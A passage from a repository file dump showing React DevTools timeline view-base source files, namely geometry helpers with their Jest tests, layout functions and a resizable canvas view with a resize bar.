visibleArea.origin.x,\n          visibleArea.origin.y + desiredSize.height,\n          visibleArea.size.width,\n          visibleArea.size.height - desiredSize.height,\n        );\n      }\n    }\n  }\n\n  /**\n   * Handle an `interaction`.\n   *\n   * To be overwritten by subclasses that wish to handle interactions.\n   *\n   * NOTE: Do not call directly! Use `handleInteractionAndPropagateToSubviews`\n   */\n  handleInteraction(interaction: Interaction, viewRefs: ViewRefs): ?boolean {}\n\n  /**\n   * Handle an `interaction` and propagates it to all of this view's\n   * `subviews`.\n   *\n   * NOTE: Should not be overridden! Subclasses should override\n   * `handleInteraction` instead.\n   *\n   * @see handleInteraction\n   * @protected\n   */\n  handleInteractionAndPropagateToSubviews(\n    interaction: Interaction,\n    viewRefs: ViewRefs,\n  ): boolean {\n    const {subviews, visibleArea} = this;\n\n    if (visibleArea.size.height === 0) {\n      return false;\n    }\n\n    // Pass the interaction to subviews first,\n    // so they have the opportunity to claim it before it bubbles.\n    //\n    // Views are painted first to last,\n    // so they should process interactions last to first,\n    // so views in front (on top) can claim the interaction first.\n    for (let i = subviews.length - 1; i >= 0; i--) {\n      const subview = subviews[i];\n      if (rectIntersectsRect(visibleArea, subview.visibleArea)) {\n        const didSubviewHandle =\n          subview.handleInteractionAndPropagateToSubviews(\n            interaction,\n            viewRefs,\n          ) === true;\n        if (didSubviewHandle) {\n          return true;\n        }\n      }\n    }\n\n    const didSelfHandle =\n      this.handleInteraction(interaction, viewRefs) === true;\n    if (didSelfHandle) {\n      return true;\n    }\n\n    return false;\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/__tests__/geometry-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {\n  pointEqualToPoint,\n  sizeEqualToSize,\n  rectEqualToRect,\n  sizeIsValid,\n  sizeIsEmpty,\n  rectIntersectsRect,\n  intersectionOfRects,\n  rectContainsPoint,\n  unionOfRects,\n} from '../geometry';\n\ndescribe('pointEqualToPoint', () => {\n  it('should return true when 2 points have the same values', () => {\n    expect(pointEqualToPoint({x: 1, y: 1}, {x: 1, y: 1})).toBe(true);\n    expect(pointEqualToPoint({x: -1, y: 2}, {x: -1, y: 2})).toBe(true);\n    expect(\n      pointEqualToPoint({x: 3.14159, y: 0.26535}, {x: 3.14159, y: 0.26535}),\n    ).toBe(true);\n  });\n\n  it('should return false when 2 points have different values', () => {\n    expect(pointEqualToPoint({x: 1, y: 1}, {x: 1, y: 0})).toBe(false);\n    expect(pointEqualToPoint({x: -1, y: 2}, {x: 0, y: 1})).toBe(false);\n    expect(\n      pointEqualToPoint({x: 3.1416, y: 0.26534}, {x: 3.14159, y: 0.26535}),\n    ).toBe(false);\n  });\n});\n\ndescribe('sizeEqualToSize', () => {\n  it('should return true when 2 sizes have the same values', () => {\n    expect(sizeEqualToSize({width: 1, height: 1}, {width: 1, height: 1})).toBe(\n      true,\n    );\n    expect(\n      sizeEqualToSize({width: -1, height: 2}, {width: -1, height: 2}),\n    ).toBe(true);\n    expect(\n      sizeEqualToSize(\n        {width: 3.14159, height: 0.26535},\n        {width: 3.14159, height: 0.26535},\n      ),\n    ).toBe(true);\n  });\n\n  it('should return false when 2 sizes have different values', () => {\n    expect(sizeEqualToSize({width: 1, height: 1}, {width: 1, height: 0})).toBe(\n      false,\n    );\n    expect(sizeEqualToSize({width: -1, height: 2}, {width: 0, height: 1})).toBe(\n      false,\n    );\n    expect(\n      sizeEqualToSize(\n        {width: 3.1416, height: 0.26534},\n        {width: 3.14159, height: 0.26535},\n      ),\n    ).toBe(false);\n  });\n});\n\ndescribe('rectEqualToRect', () => {\n  it('should return true when 2 rects have the same values', () => {\n    expect(\n      rectEqualToRect(\n        {origin: {x: 1, y: 1}, size: {width: 1, height: 1}},\n        {origin: {x: 1, y: 1}, size: {width: 1, height: 1}},\n      ),\n    ).toBe(true);\n    expect(\n      rectEqualToRect(\n        {origin: {x: 1, y: 2}, size: {width: 3.14, height: 4}},\n        {origin: {x: 1, y: 2}, size: {width: 3.14, height: 4}},\n      ),\n    ).toBe(true);\n  });\n\n  it('should return false when 2 rects have different values', () => {\n    expect(\n      rectEqualToRect(\n        {origin: {x: 1, y: 1}, size: {width: 1, height: 1}},\n        {origin: {x: 0, y: 1}, size: {width: 1, height: 1}},\n      ),\n    ).toBe(false);\n    expect(\n      rectEqualToRect(\n        {origin: {x: 1, y: 2}, size: {width: 3.14, height: 4}},\n        {origin: {x: 1, y: 2}, size: {width: 3.15, height: 4}},\n      ),\n    ).toBe(false);\n  });\n});\n\ndescribe('sizeIsValid', () => {\n  it('should return true when the size has non-negative width and height', () => {\n    expect(sizeIsValid({width: 1, height: 1})).toBe(true);\n    expect(sizeIsValid({width: 0, height: 0})).toBe(true);\n  });\n\n  it('should return false when the size has negative width or height', () => {\n    expect(sizeIsValid({width: 0, height: -1})).toBe(false);\n    expect(sizeIsValid({width: -1, height: 0})).toBe(false);\n    expect(sizeIsValid({width: -1, height: -1})).toBe(false);\n  });\n});\n\ndescribe('sizeIsEmpty', () => {\n  it('should return true when the size has negative area', () => {\n    expect(sizeIsEmpty({width: 1, height: -1})).toBe(true);\n    expect(sizeIsEmpty({width: -1, height: -1})).toBe(true);\n  });\n\n  it('should return true when the size has zero area', () => {\n    expect(sizeIsEmpty({width: 0, height: 0})).toBe(true);\n    expect(sizeIsEmpty({width: 0, height: 1})).toBe(true);\n    expect(sizeIsEmpty({width: 1, height: 0})).toBe(true);\n  });\n\n  it('should return false when the size has positive area', () => {\n    expect(sizeIsEmpty({width: 1, height: 1})).toBe(false);\n    expect(sizeIsEmpty({width: 2, height: 1})).toBe(false);\n  });\n});\n\ndescribe('rectIntersectsRect', () => {\n  it('should return true when 2 rects intersect', () => {\n    // Rects touch\n    expect(\n      rectIntersectsRect(\n        {origin: {x: 0, y: 0}, size: {width: 1, height: 1}},\n        {origin: {x: 1, y: 1}, size: {width: 1, height: 1}},\n      ),\n    ).toEqual(true);\n\n    // Rects overlap\n    expect(\n      rectIntersectsRect(\n        {origin: {x: 0, y: 0}, size: {width: 2, height: 1}},\n        {origin: {x: 1, y: -2}, size: {width: 0.5, height: 5}},\n      ),\n    ).toEqual(true);\n\n    // Rects are equal\n    expect(\n      rectIntersectsRect(\n        {origin: {x: 1, y: 2}, size: {width: 3.14, height: 4}},\n        {origin: {x: 1, y: 2}, size: {width: 3.14, height: 4}},\n      ),\n    ).toEqual(true);\n  });\n\n  it('should return false when 2 rects do not intersect', () => {\n    expect(\n      rectIntersectsRect(\n        {origin: {x: 0, y: 1}, size: {width: 1, height: 1}},\n        {origin: {x: 0, y: 10}, size: {width: 1, height: 1}},\n      ),\n    ).toBe(false);\n    expect(\n      rectIntersectsRect(\n        {origin: {x: 1, y: 2}, size: {width: 3.14, height: 4}},\n        {origin: {x: -4, y: 2}, size: {width: 3.15, height: 4}},\n      ),\n    ).toBe(false);\n  });\n});\n\ndescribe('intersectionOfRects', () => {\n  // NOTE: Undefined behavior if rects do not intersect\n\n  it('should return intersection when 2 rects intersect', () => {\n    // Rects touch\n    expect(\n      intersectionOfRects(\n        {origin: {x: 0, y: 0}, size: {width: 1, height: 1}},\n        {origin: {x: 1, y: 1}, size: {width: 1, height: 1}},\n      ),\n    ).toEqual({origin: {x: 1, y: 1}, size: {width: 0, height: 0}});\n\n    // Rects overlap\n    expect(\n      intersectionOfRects(\n        {origin: {x: 0, y: 0}, size: {width: 2, height: 1}},\n        {origin: {x: 1, y: -2}, size: {width: 0.5, height: 5}},\n      ),\n    ).toEqual({origin: {x: 1, y: 0}, size: {width: 0.5, height: 1}});\n\n    // Rects are equal\n    expect(\n      intersectionOfRects(\n        {origin: {x: 1, y: 2}, size: {width: 9.24, height: 4}},\n        {origin: {x: 1, y: 2}, size: {width: 9.24, height: 4}},\n      ),\n    ).toEqual({origin: {x: 1, y: 2}, size: {width: 9.24, height: 4}});\n  });\n});\n\ndescribe('rectContainsPoint', () => {\n  it(\"should return true if point is on the rect's edge\", () => {\n    expect(\n      rectContainsPoint(\n        {x: 0, y: 0},\n        {origin: {x: 0, y: 0}, size: {width: 1, height: 1}},\n      ),\n    ).toBe(true);\n    expect(\n      rectContainsPoint(\n        {x: 5, y: 0},\n        {origin: {x: 0, y: 0}, size: {width: 10, height: 1}},\n      ),\n    ).toBe(true);\n    expect(\n      rectContainsPoint(\n        {x: 1, y: 1},\n        {origin: {x: 0, y: 0}, size: {width: 1, height: 1}},\n      ),\n    ).toBe(true);\n  });\n\n  it('should return true if point is in rect', () => {\n    expect(\n      rectContainsPoint(\n        {x: 5, y: 50},\n        {origin: {x: 0, y: 0}, size: {width: 10, height: 100}},\n      ),\n    ).toBe(true);\n  });\n\n  it('should return false if point is not in rect', () => {\n    expect(\n      rectContainsPoint(\n        {x: -1, y: 0},\n        {origin: {x: 0, y: 0}, size: {width: 1, height: 1}},\n      ),\n    ).toBe(false);\n  });\n});\n\ndescribe('unionOfRects', () => {\n  it('should return zero rect if no rects are provided', () => {\n    expect(unionOfRects()).toEqual({\n      origin: {x: 0, y: 0},\n      size: {width: 0, height: 0},\n    });\n  });\n\n  it('should return rect if 1 rect is provided', () => {\n    expect(\n      unionOfRects({origin: {x: 1, y: 2}, size: {width: 3, height: 4}}),\n    ).toEqual({origin: {x: 1, y: 2}, size: {width: 3, height: 4}});\n  });\n\n  it('should return union of rects if more than one rect is provided', () => {\n    expect(\n      unionOfRects(\n        {origin: {x: 1, y: 2}, size: {width: 3, height: 4}},\n        {origin: {x: 100, y: 200}, size: {width: 3, height: 4}},\n        {origin: {x: -10, y: -20}, size: {width: 50, height: 60}},\n      ),\n    ).toEqual({origin: {x: -10, y: -20}, size: {width: 113, height: 224}});\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/constants.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport const MOVE_WHEEL_DELTA_THRESHOLD = 1;\nexport const ZOOM_WHEEL_DELTA_THRESHOLD = 1;\nexport const MIN_ZOOM_LEVEL = 0.25;\nexport const MAX_ZOOM_LEVEL = 1000;\nexport const DEFAULT_ZOOM_LEVEL = 0.25;\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/geometry.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type Point = $ReadOnly<{x: number, y: number}>;\nexport type Size = $ReadOnly<{width: number, height: number}>;\nexport type IntrinsicSize = {\n  ...Size,\n\n  // If content is this height or less, hide the scrollbar entirely,\n  // so that it doesn't take up vertical space unnecessarily (e.g. for a single row of content).\n  hideScrollBarIfLessThanHeight?: number,\n\n  // The initial height should be the height of the content, or this, whichever is less.\n  maxInitialHeight?: number,\n};\nexport type Rect = $ReadOnly<{origin: Point, size: Size}>;\n\n/**\n * Alternative representation of `Rect`.\n * A tuple of (`top`, `right`, `bottom`, `left`) coordinates.\n */\ntype Box = [number, number, number, number];\n\nexport const zeroPoint: Point = Object.freeze({x: 0, y: 0});\nexport const zeroSize: Size = Object.freeze({width: 0, height: 0});\nexport const zeroRect: Rect = Object.freeze({\n  origin: zeroPoint,\n  size: zeroSize,\n});\n\nexport function pointEqualToPoint(point1: Point, point2: Point): boolean {\n  return point1.x === point2.x && point1.y === point2.y;\n}\n\nexport function sizeEqualToSize(size1: Size, size2: Size): boolean {\n  return size1.width === size2.width && size1.height === size2.height;\n}\n\nexport function rectEqualToRect(rect1: Rect, rect2: Rect): boolean {\n  return (\n    pointEqualToPoint(rect1.origin, rect2.origin) &&\n    sizeEqualToSize(rect1.size, rect2.size)\n  );\n}\n\nexport function sizeIsValid({width, height}: Size): boolean {\n  return width >= 0 && height >= 0;\n}\n\nexport function sizeIsEmpty({width, height}: Size): boolean {\n  return width <= 0 || height <= 0;\n}\n\nfunction rectToBox(rect: Rect): Box {\n  const top = rect.origin.y;\n  const right = rect.origin.x + rect.size.width;\n  const bottom = rect.origin.y + rect.size.height;\n  const left = rect.origin.x;\n  return [top, right, bottom, left];\n}\n\nfunction boxToRect(box: Box): Rect {\n  const [top, right, bottom, left] = box;\n  return {\n    origin: {\n      x: left,\n      y: top,\n    },\n    size: {\n      width: right - left,\n      height: bottom - top,\n    },\n  };\n}\n\nexport function rectIntersectsRect(rect1: Rect, rect2: Rect): boolean {\n  if (\n    rect1.size.width === 0 ||\n    rect1.size.height === 0 ||\n    rect2.size.width === 0 ||\n    rect2.size.height === 0\n  ) {\n    return false;\n  }\n\n  const [top1, right1, bottom1, left1] = rectToBox(rect1);\n  const [top2, right2, bottom2, left2] = rectToBox(rect2);\n  return !(\n    right1 < left2 ||\n    right2 < left1 ||\n    bottom1 < top2 ||\n    bottom2 < top1\n  );\n}\n\n/**\n * Returns the intersection of the 2 rectangles.\n *\n * Prerequisite: `rect1` must intersect with `rect2`.\n */\nexport function intersectionOfRects(rect1: Rect, rect2: Rect): Rect {\n  const [top1, right1, bottom1, left1] = rectToBox(rect1);\n  const [top2, right2, bottom2, left2] = rectToBox(rect2);\n  return boxToRect([\n    Math.max(top1, top2),\n    Math.min(right1, right2),\n    Math.min(bottom1, bottom2),\n    Math.max(left1, left2),\n  ]);\n}\n\nexport function rectContainsPoint({x, y}: Point, rect: Rect): boolean {\n  const [top, right, bottom, left] = rectToBox(rect);\n  return left <= x && x <= right && top <= y && y <= bottom;\n}\n\n/**\n * Returns the smallest rectangle that contains all provided rects.\n *\n * @returns Union of `rects`. If `rects` is empty, returns `zeroRect`.\n */\nexport function unionOfRects(...rects: Rect[]): Rect {\n  if (rects.length === 0) {\n    return zeroRect;\n  }\n\n  const [firstRect, ...remainingRects] = rects;\n  const boxUnion = remainingRects\n    .map(rectToBox)\n    .reduce((intermediateUnion, nextBox): Box => {\n      const [unionTop, unionRight, unionBottom, unionLeft] = intermediateUnion;\n      const [nextTop, nextRight, nextBottom, nextLeft] = nextBox;\n      return [\n        Math.min(unionTop, nextTop),\n        Math.max(unionRight, nextRight),\n        Math.max(unionBottom, nextBottom),\n        Math.min(unionLeft, nextLeft),\n      ];\n    }, rectToBox(firstRect));\n  return boxToRect(boxUnion);\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './BackgroundColorView';\nexport * from './HorizontalPanAndZoomView';\nexport * from './Surface';\nexport * from './VerticalScrollView';\nexport * from './View';\nexport * from './geometry';\nexport * from './layouter';\nexport * from './resizable';\nexport * from './useCanvasInteraction';\nexport * from './vertical-scroll-overflow';\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/layouter.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Rect} from './geometry';\nimport type {View} from './View';\n\nexport type LayoutInfo = {view: View, frame: Rect};\nexport type Layout = LayoutInfo[];\n\n/**\n * A function that takes a list of subviews, currently laid out in\n * `existingLayout`, and lays them out into `containingFrame`.\n */\nexport type Layouter = (\n  existingLayout: Layout,\n  containingFrame: Rect,\n) => Layout;\n\nfunction viewToLayoutInfo(view: View): LayoutInfo {\n  return {view, frame: view.frame};\n}\n\nexport function viewsToLayout(views: View[]): Layout {\n  return views.map(viewToLayoutInfo);\n}\n\n/**\n * Applies `layout`'s `frame`s to its corresponding `view`.\n */\nexport function collapseLayoutIntoViews(layout: Layout) {\n  layout.forEach(({view, frame}) => view.setFrame(frame));\n}\n\n/**\n * A no-operation layout; does not modify the layout.\n */\nexport const noopLayout: Layouter = layout => layout;\n\n/**\n * Layer views on top of each other. All views' frames will be set to `containerFrame`.\n *\n * Equivalent to composing:\n * - `alignToContainerXLayout`,\n * - `alignToContainerYLayout`,\n * - `containerWidthLayout`, and\n * - `containerHeightLayout`.\n */\nexport const layeredLayout: Layouter = (layout, containerFrame) => {\n  return layout.map(layoutInfo => ({...layoutInfo, frame: containerFrame}));\n};\n\n/**\n * Stacks `views` vertically in `frame`.\n * All views in `views` will have their widths set to the frame's width.\n */\nexport const verticallyStackedLayout: Layouter = (layout, containerFrame) => {\n  let currentY = containerFrame.origin.y;\n  return layout.map(layoutInfo => {\n    const desiredSize = layoutInfo.view.desiredSize();\n    const height = desiredSize\n      ? desiredSize.height\n      : containerFrame.origin.y + containerFrame.size.height - currentY;\n    const proposedFrame = {\n      origin: {x: containerFrame.origin.x, y: currentY},\n      size: {width: containerFrame.size.width, height},\n    };\n    currentY += height;\n    return {\n      ...layoutInfo,\n      frame: proposedFrame,\n    };\n  });\n};\n\n/**\n * A layouter that aligns all frames' lefts to the container frame's left.\n */\nexport const alignToContainerXLayout: Layouter = (layout, containerFrame) => {\n  return layout.map(layoutInfo => ({\n    ...layoutInfo,\n    frame: {\n      origin: {\n        x: containerFrame.origin.x,\n        y: layoutInfo.frame.origin.y,\n      },\n      size: layoutInfo.frame.size,\n    },\n  }));\n};\n\n/**\n * A layouter that aligns all frames' tops to the container frame's top.\n */\nexport const alignToContainerYLayout: Layouter = (layout, containerFrame) => {\n  return layout.map(layoutInfo => ({\n    ...layoutInfo,\n    frame: {\n      origin: {\n        x: layoutInfo.frame.origin.x,\n        y: containerFrame.origin.y,\n      },\n      size: layoutInfo.frame.size,\n    },\n  }));\n};\n\n/**\n * A layouter that sets all frames' widths to `containerFrame.size.width`.\n */\nexport const containerWidthLayout: Layouter = (layout, containerFrame) => {\n  return layout.map(layoutInfo => ({\n    ...layoutInfo,\n    frame: {\n      origin: layoutInfo.frame.origin,\n      size: {\n        width: containerFrame.size.width,\n        height: layoutInfo.frame.size.height,\n      },\n    },\n  }));\n};\n\n/**\n * A layouter that sets all frames' heights to `containerFrame.size.height`.\n */\nexport const containerHeightLayout: Layouter = (layout, containerFrame) => {\n  return layout.map(layoutInfo => ({\n    ...layoutInfo,\n    frame: {\n      origin: layoutInfo.frame.origin,\n      size: {\n        width: layoutInfo.frame.size.width,\n        height: containerFrame.size.height,\n      },\n    },\n  }));\n};\n\n/**\n * A layouter that sets all frames' heights to the desired height of its view.\n * If the view has no desired size, the frame's height is set to 0.\n */\nexport const desiredHeightLayout: Layouter = layout => {\n  return layout.map(layoutInfo => {\n    const desiredSize = layoutInfo.view.desiredSize();\n    const height = desiredSize ? desiredSize.height : 0;\n    return {\n      ...layoutInfo,\n      frame: {\n        origin: layoutInfo.frame.origin,\n        size: {\n          width: layoutInfo.frame.size.width,\n          height,\n        },\n      },\n    };\n  });\n};\n\n/**\n * A layouter that sets all frames' heights to the height of the tallest frame.\n */\nexport const uniformMaxSubviewHeightLayout: Layouter = layout => {\n  const maxHeight = Math.max(\n    ...layout.map(layoutInfo => layoutInfo.frame.size.height),\n  );\n  return layout.map(layoutInfo => ({\n    ...layoutInfo,\n    frame: {\n      origin: layoutInfo.frame.origin,\n      size: {\n        width: layoutInfo.frame.size.width,\n        height: maxHeight,\n      },\n    },\n  }));\n};\n\n/**\n * A layouter that sets heights in this fashion:\n * - If a frame's height >= `containerFrame.size.height`, the frame is left unchanged.\n * - Otherwise, sets the frame's height to `containerFrame.size.height`.\n */\nexport const atLeastContainerHeightLayout: Layouter = (\n  layout,\n  containerFrame,\n) => {\n  return layout.map(layoutInfo => ({\n    ...layoutInfo,\n    frame: {\n      origin: layoutInfo.frame.origin,\n      size: {\n        width: layoutInfo.frame.size.width,\n        height: Math.max(\n          containerFrame.size.height,\n          layoutInfo.frame.size.height,\n        ),\n      },\n    },\n  }));\n};\n\n/**\n * Create a layouter that applies each layouter in `layouters` in sequence.\n */\nexport function createComposedLayout(...layouters: Layouter[]): Layouter {\n  if (layouters.length === 0) {\n    return noopLayout;\n  }\n\n  const composedLayout: Layouter = (layout, containerFrame) => {\n    return layouters.reduce(\n      (intermediateLayout, layouter) =>\n        layouter(intermediateLayout, containerFrame),\n      layout,\n    );\n  };\n  return composedLayout;\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/resizable/ResizableView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  ClickInteraction,\n  DoubleClickInteraction,\n  Interaction,\n  MouseDownInteraction,\n  MouseMoveInteraction,\n  MouseUpInteraction,\n} from '../useCanvasInteraction';\nimport type {Rect} from '../geometry';\nimport type {ViewRefs} from '../Surface';\nimport type {ViewState} from '../../types';\n\nimport {ResizeBarView} from './ResizeBarView';\nimport {Surface} from '../Surface';\nimport {View} from '../View';\nimport {rectContainsPoint} from '../geometry';\nimport {noopLayout} from '../layouter';\nimport {clamp} from '../utils/clamp';\n\ntype ResizingState = $ReadOnly<{\n  /** Distance between top of resize bar and mouseY */\n  cursorOffsetInBarFrame: number,\n  /** Mouse's vertical coordinates relative to canvas */\n  mouseY: number,\n}>;\n\ntype LayoutState = {\n  /** Resize bar's vertical position relative to resize view's frame.origin.y */\n  barOffsetY: number,\n};\n\nconst RESIZE_BAR_HEIGHT = 8;\nconst RESIZE_BAR_WITH_LABEL_HEIGHT = 16;\n\nconst HIDDEN_RECT = {\n  origin: {x: 0, y: 0},\n  size: {width: 0, height: 0},\n};\n\nexport class ResizableView extends View {\n  _canvasRef: {current: HTMLCanvasElement | null};\n  _layoutState: LayoutState;\n  _mutableViewStateKey: string;\n  _resizeBar: ResizeBarView;\n  _resizingState: ResizingState | null = null;\n  _subview: View;\n  _viewState: ViewState;\n\n  constructor(\n    surface: Surface,\n    frame: Rect,\n    subview: View,\n    viewState: ViewState,\n    canvasRef: {current: HTMLCanvasElement | null},\n    label: string,\n  ) {\n    super(surface, frame, noopLayout);\n\n    this._canvasRef = canvasRef;\n    this._layoutState = {barOffsetY: 0};\n    this._mutableViewStateKey = label + ':ResizableView';\n    this._subview = subview;\n    this._resizeBar = new ResizeBarView(surface, frame, label);\n    this._viewState = viewState;\n\n    this.addSubview(this._subview);\n    this.addSubview(this._resizeBar);\n\n    this._restoreMutableViewState();\n  }\n\n  desiredSize(): {+height: number, +width: number} {\n    const subviewDesiredSize = this._subview.desiredSize();\n\n    if (this._shouldRenderResizeBar()) {\n      const resizeBarDesiredSize = this._resizeBar.desiredSize();\n\n      return {\n        width: this.frame.size.width,\n        height: this._layoutState.barOffsetY + resizeBarDesiredSize.height,\n      };\n    } else {\n      return {\n        width: this.frame.size.width,\n        height: subviewDesiredSize.height,\n      };\n    }\n  }\n\n  layoutSubviews() {\n    this._updateLayoutState();\n    this._updateSubviewFrames();\n\n    super.layoutSubviews();\n  }\n\n  _restoreMutableViewState() {\n    if (\n      this._viewState.viewToMutableViewStateMap.has(this._mutableViewStateKey)\n    ) {\n      this._layoutState = ((this._viewState.viewToMutableViewStateMap.get(\n        this._mutableViewStateKey,\n      ): any): LayoutState);\n\n      this._updateLayoutStateAndResizeBar(this._layoutState.barOffsetY);\n    } else {\n      this._viewState.viewToMutableViewStateMap.set(\n        this._mutableViewStateKey,\n        this._layoutState,\n      );\n\n      const subviewDesiredSize = this._subview.desiredSize();\n      this._updateLayoutStateAndResizeBar(\n        subviewDesiredSize.maxInitialHeight != null\n          ? Math.min(\n              subviewDesiredSize.maxInitialHeight,\n              subviewDesiredSize.height,\n            )\n          : subviewDesiredSize.height,\n      );\n    }\n\n    this.setNeedsDisplay();\n  }\n\n  _shouldRenderResizeBar(): boolean {\n    const subviewDesiredSize = this._subview.desiredSize();\n    return subviewDesiredSize.hideScrollBarIfLessThanHeight != null\n      ? subviewDesiredSize.height >\n          subviewDesiredSize.hideScrollBarIfLessThanHeight\n      : true;\n  }\n\n  _updateLayoutStateAndResizeBar(barOffsetY: number) {\n    if (barOffsetY <= RESIZE_BAR_WITH_LABEL_HEIGHT - RESIZE_BAR_HEIGHT) {\n      barOffsetY = 0;\n    }\n\n    this._layoutState.barOffsetY = barOffsetY;\n\n    this._resizeBar.showLabel = barOffsetY === 0;\n  }\n\n  _updateLayoutState() {\n    const {frame, _resizingState} = this;\n\n    // Allow bar to travel to bottom of the visible area of this view but no further\n    const subviewDesiredSize = this._subview.desiredSize();\n    const maxBarOffset = subviewDesiredSize.height;\n\n    let proposedBarOffsetY = this._layoutState.barOffsetY;\n    // Update bar offset if dragging bar\n    if (_resizingState) {\n      const {mouseY, cursorOffsetInBarFrame} = _resizingState;\n      proposedBarOffsetY = mouseY - frame.origin.y - cursorOffsetInBarFrame;\n    }\n\n    this._updateLayoutStateAndResizeBar(\n      clamp(0, maxBarOffset, proposedBarOffsetY),\n    );\n  }\n\n  _updateSubviewFrames() {\n    const {\n      frame: {\n        origin: {x, y},\n        size: {width},\n      },\n      _layoutState: {barOffsetY},\n    } = this;\n\n    const resizeBarDesiredSize = this._resizeBar.desiredSize();\n\n    if (barOffsetY === 0) {\n      this._subview.setFrame(HIDDEN_RECT);\n    } else {\n      this._subview.setFrame({\n        origin: {x, y},\n        size: {width, height: barOffsetY},\n      });\n    }\n\n    this._resizeBar.setFrame({\n      origin: {x, y: y + barOffsetY},\n      size: {width, height: resizeBarDesiredSize.height},\n    });\n  }\n\n  _handleClick(interaction: ClickInteraction): void | boolean {\n    if (!this._shouldRenderResizeBar()) {\n      return;\n    }\n\n    const cursorInView = rectContainsPoint(\n      interaction.payload.location,\n      this.frame,\n    );\n    if (cursorInView) {\n      if (this._layoutState.barOffsetY === 0) {\n        // Clicking on the collapsed label should expand.\n        const subviewDesiredSize = this._subview.desiredSize();\n        this._updateLayoutStateAndResizeBar(subviewDesiredSize.height);\n        this.setNeedsDisplay();\n\n        return true;\n      }\n    }\n  }\n\n  _handleDoubleClick(interaction: DoubleClickInteraction): void | boolean {\n    if (!this._shouldRenderResizeBar()) {\n      return;\n    }\n\n    const cursorInView = rectContainsPoint(\n      interaction.payload.location,\n      this.frame,\n    );\n    if (cursorInView) {\n      if (this._layoutState.barOffsetY > 0) {\n        // Double clicking on the expanded view should collapse.\n        this._updateLayoutStateAndResizeBar(0);\n        this.setNeedsDisplay();\n\n        return true;\n      }\n    }\n  }\n\n  _handleMouseDown(interaction: MouseDownInteraction): void | boolean {\n    const cursorLocation = interaction.payload.location;\n    const resizeBarFrame = this._resizeBar.frame;\n    if (rectContainsPoint(cursorLocation, resizeBarFrame)) {\n      const mouseY = cursorLocation.y;\n      this._resizingState = {\n        cursorOffsetInBarFrame: mouseY - resizeBarFrame.origin.y,\n        mouseY,\n      };\n\n      return true;\n    }\n  }\n\n  _handleMouseMove(interaction: MouseMoveInteraction): void | boolean {\n    const {_resizingState} = this;\n    if (_resizingState) {\n      this._resizingState = {\n        ..._resizingState,\n        mouseY: interaction.payload.location.y,\n      };\n      this.setNeedsDisplay();\n\n      return true;\n    }\n  }\n\n  _handleMouseUp(interaction: MouseUpInteraction) {\n    if (this._resizingState) {\n      this._resizingState = null;\n    }\n  }\n\n  getCursorActiveSubView(interaction: Interaction): View | null {\n    const cursorLocation = interaction.payload.location;\n    const resizeBarFrame = this._resizeBar.frame;\n    if (rectContainsPoint(cursorLocation, resizeBarFrame)) {\n      return this;\n    } else {\n      return null;\n    }\n  }\n\n  handleInteraction(\n    interaction: Interaction,\n    viewRefs: ViewRefs,\n  ): void | boolean {\n    switch (interaction.type) {\n      case 'click':\n        return this._handleClick(interaction);\n      case 'double-click':\n        return this._handleDoubleClick(interaction);\n      case 'mousedown':\n        return this._handleMouseDown(interaction);\n      case 'mousemove':\n        return this._handleMouseMove(interaction);\n      case 'mouseup':\n        return this._handleMouseUp(interaction);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/resizable/ResizeBarView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Interaction,\n  MouseDownInteraction,\n  MouseMoveInteraction,\n  MouseUpInteraction,\n} from '../useCanvasInteraction';\nimport type {Rect, Size} from '../geometry';\nimport type {ViewRefs} from '../Surface';\n\nimport {BORDER_SIZE, COLORS} from '../../content-views/constants';\nimport {drawText} from '../../content-views/utils/text';\nimport {Surface} from '../Surface';\nimport {View} from '../View';\nimport {rectContainsPoint} from '../geometry';\nimport {noopLayout} from '../layouter';\n\ntype ResizeBarState = 'normal' | 'hovered' | 'dragging';\n\nconst RESIZE_BAR_DOT_RADIUS = 1;\nconst RESIZE_BAR_DOT_SPACING = 4;\nconst RESIZE_BAR_HEIGHT = 8;\nconst RESIZE_BAR_WITH_LABEL_HEIGHT = 16;\n\nexport class ResizeBarView extends View {\n  _interactionState: ResizeBarState = 'normal';\n  _label: string;\n\n  showLabel: boolean = false;\n\n  constructor(surface: Surface, frame: Rect, label: string) {\n    super(surface, frame, noopLayout);\n\n    this._label = label;\n  }\n\n  desiredSize(): Size {\n    return this.showLabel\n      ? {height: RESIZE_BAR_WITH_LABEL_HEIGHT, width: 0}\n      : {height: RESIZE_BAR_HEIGHT, width: 0};\n  }\n\n  draw(context: CanvasRenderingContext2D, viewRefs: ViewRefs) {\n    const {frame} = this;\n    const {x, y} = frame.origin;\n    const {width, height} = frame.size;\n\n    const isActive =\n      this._interactionState === 'dragging' ||\n      (this._interactionState === 'hovered' && viewRefs.activeView === null);\n\n    context.fillStyle = isActive\n      ? 